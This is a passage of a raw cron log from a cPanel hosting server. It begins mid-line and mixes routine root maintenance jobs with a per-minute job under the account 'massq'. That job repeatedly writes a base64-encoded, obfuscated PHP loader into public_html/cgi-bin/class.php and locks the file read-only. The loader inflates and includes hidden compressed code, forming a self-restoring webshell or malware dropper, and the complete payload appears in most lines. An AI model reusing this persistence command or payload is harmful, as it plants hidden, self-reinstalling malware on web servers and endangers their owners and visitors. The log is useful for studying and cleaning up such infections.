htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:45:01 server CROND[22390]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 08:45:01 server CROND[22391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:46:01 server CROND[23592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:46:01 server CROND[23593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:46:01 server CROND[23594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:47:01 server CROND[23973]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:47:01 server CROND[23974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:47:01 server CROND[23975]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:48:01 server CROND[24367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:48:01 server CROND[24369]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:48:01 server CROND[24368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:49:01 server CROND[24744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:49:01 server CROND[24745]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:49:01 server CROND[24746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:50:01 server CROND[25138]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 08:50:01 server CROND[25140]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 08:50:01 server CROND[25144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:50:01 server CROND[25146]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 08:50:01 server CROND[25145]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:50:01 server CROND[25149]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 08:50:01 server CROND[25147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:50:01 server CROND[25150]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 08:50:01 server CROND[25151]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 08:51:01 server CROND[26075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:51:01 server CROND[26076]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:51:01 server CROND[26074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:52:01 server CROND[26462]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:52:01 server CROND[26463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:52:01 server CROND[26464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:53:01 server CROND[26857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:53:01 server CROND[26858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:53:01 server CROND[26859]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:54:01 server CROND[27247]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:54:01 server CROND[27248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:54:01 server CROND[27249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:55:01 server CROND[27644]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 08:55:01 server CROND[27645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:55:01 server CROND[27648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:55:01 server CROND[27650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:55:01 server CROND[27646]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 08:55:01 server CROND[27647]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 08:55:01 server CROND[27649]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 08:56:01 server CROND[28577]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:56:01 server CROND[28578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:56:01 server CROND[28579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:57:01 server CROND[28958]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 08:57:01 server CROND[28959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:57:01 server CROND[28957]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 08:57:01 server CROND[28960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
